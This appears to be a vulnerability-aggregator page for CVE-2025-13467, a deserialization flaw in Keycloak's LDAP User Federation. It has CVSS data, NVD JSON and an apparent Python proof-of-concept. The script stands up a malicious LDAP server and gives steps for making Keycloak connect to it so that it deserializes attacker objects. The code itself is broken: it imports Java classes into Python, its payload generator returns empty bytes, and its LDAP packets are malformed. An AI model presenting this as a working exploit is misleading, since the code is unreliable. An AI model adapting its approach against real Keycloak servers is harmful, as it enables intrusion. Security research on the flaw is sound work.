Security Vulnerability Report
中文
CVE-2025-13467 CVSS 5.5 MEDIUM

CVE-2025-13467

Published: 2025-11-25 16:16:07
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the Keycloak LDAP User Federation provider. This vulnerability allows an authenticated realm administrator to trigger deserialization of untrusted Java objects via a malicious LDAP server configuration.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak LDAP User Federation provider (all versions prior to security patch)
Keycloak < 25.0.0 (if applicable)
Keycloak < 24.0.0 (if applicable)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13467 PoC - Keycloak LDAP User Federation Deserialization # This PoC demonstrates the deserialization vulnerability in Keycloak LDAP User Federation # Note: Requires realm admin privileges and a malicious LDAP server import socket import sys import time import struct import binascii from javax.naming import Context, InitialContext, ldap from java.io import ObjectInputStream, ByteArrayInputStream from java.util import Hashtable class MaliciousLDAPServer: """ Malicious LDAP server that serves serialized Java objects to trigger deserialization vulnerability in Keycloak """ def __init__(self, host='0.0.0.0', port=389): self.host = host self.port = port self.sock = None def generate_ysoserial_payload(self, command): """ Generate malicious serialization payload using ysoserial This payload uses CommonsCollections6 gadget chain """ # Using ysoserial to generate payload # java -jar ysoserial.jar CommonsCollections6 "command" payload = self.create_custom_payload(command) return payload def create_custom_payload(self, command): """ Create custom serialized object payload For demonstration - in real attack, use ysoserial gadget chains """ # This is a placeholder - actual implementation requires # ysoserial or similar tool to generate working gadget chain # Example gadget chains: CommonsCollections6, Spring2, Groovy1 # Malicious object that will execute command on deserialization # Based on CommonsCollections6 gadget chain malicious_data = bytearray() # Serialize malicious object # In real attack, use ysoserial: # $ java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" return bytes(malicious_data) def handle_ldap_bind(self, client_sock): """ Handle LDAP BIND request and send malicious response """ try: # Read LDAP bind request data = client_sock.recv(8192) if not data: return # Send LDAP bind response (success) # LDAP Message: MessageID + BindResponse response = self.build_ldap_bind_response() client_sock.send(response) # Send malicious search result with serialized object search_result = self.build_malicious_search_result() client_sock.send(search_result) except Exception as e: print(f"Error handling LDAP request: {e}") def build_ldap_bind_response(self): """Build LDAP Bind Response packet""" # LDAP Bind Response format msg_id = struct.pack('>b', 1) bind_response = b'\x61' # BindResponse tag # Simplified response construction response_data = b'\x0a\x00' # ResultCode: success response_data += b'\x04\x00' # Matched DN: empty response_data += b'\x04\x00' # Diagnostic Message: empty return msg_id + bind_response + response_data def build_malicious_search_result(self): """Build search result with malicious serialized object""" msg_id = struct.pack('>b', 2) # SearchResultEntry search_entry = b'\x64' # Tag for SearchResultEntry entry_content = b'\x04\x0bobjectClass' + b'\x04\x05top' entry_content += b'\x04\x0bjavaClassName' + b'\x04\x0bjavaObject' # Include serialized Java object in attribute # This triggers deserialization in Keycloak serialized_payload = self.generate_ysoserial_payload('whoami > /tmp/pwned') entry_content += b'\x04' + struct.pack('>B', len(serialized_payload)) + serialized_payload search_entry += struct.pack('>B', len(entry_content)) + entry_content return msg_id + search_entry def start(self): """Start malicious LDAP server""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) self.sock.listen(5) print(f"[*] Malicious LDAP server listening on {self.host}:{self.port}") print("[*] Waiting for Keycloak to connect...") while True: try: client_sock, addr = self.sock.accept() print(f"[+] Connection from {addr}") self.handle_ldap_bind(client_sock) client_sock.close() except KeyboardInterrupt: break except Exception as e: print(f"Error: {e}") self.sock.close() def main(): """ Usage: 1. Start malicious LDAP server: python cve_2025_13467_poc.py 2. In Keycloak Admin Console: - Navigate to Realm Settings -> User Federation - Add LDAP provider pointing to malicious LDAP server - Click 'Test connection' or 'Sync users' 3. Server will deserialize malicious object and execute command """ if len(sys.argv) > 1: command = sys.argv[1] else: command = 'touch /tmp/pwned_by_cve_2025_13467' server = MaliciousLDAPServer(host='0.0.0.0', port=389) server.start() if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13467", "sourceIdentifier": "[email protected]", "published": "2025-11-25T16:16:06.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the Keycloak LDAP User Federation provider. This vulnerability allows an authenticated realm administrator to trigger deserialization of untrusted Java objects via a malicious LDAP server configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:22088", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22089", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22090", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22091", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-13467", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2416038", "source": "[email protected]"}, {"url": "https://github.com/keycloak/keycloak/commit/754c070cf8ca187dcc71f0f72ff3130ff2195328", "source": "[email protected]"}, {"url": "https://github.com/keycloak/keycloak/issues/44478", "source": "[email protected]"}]}}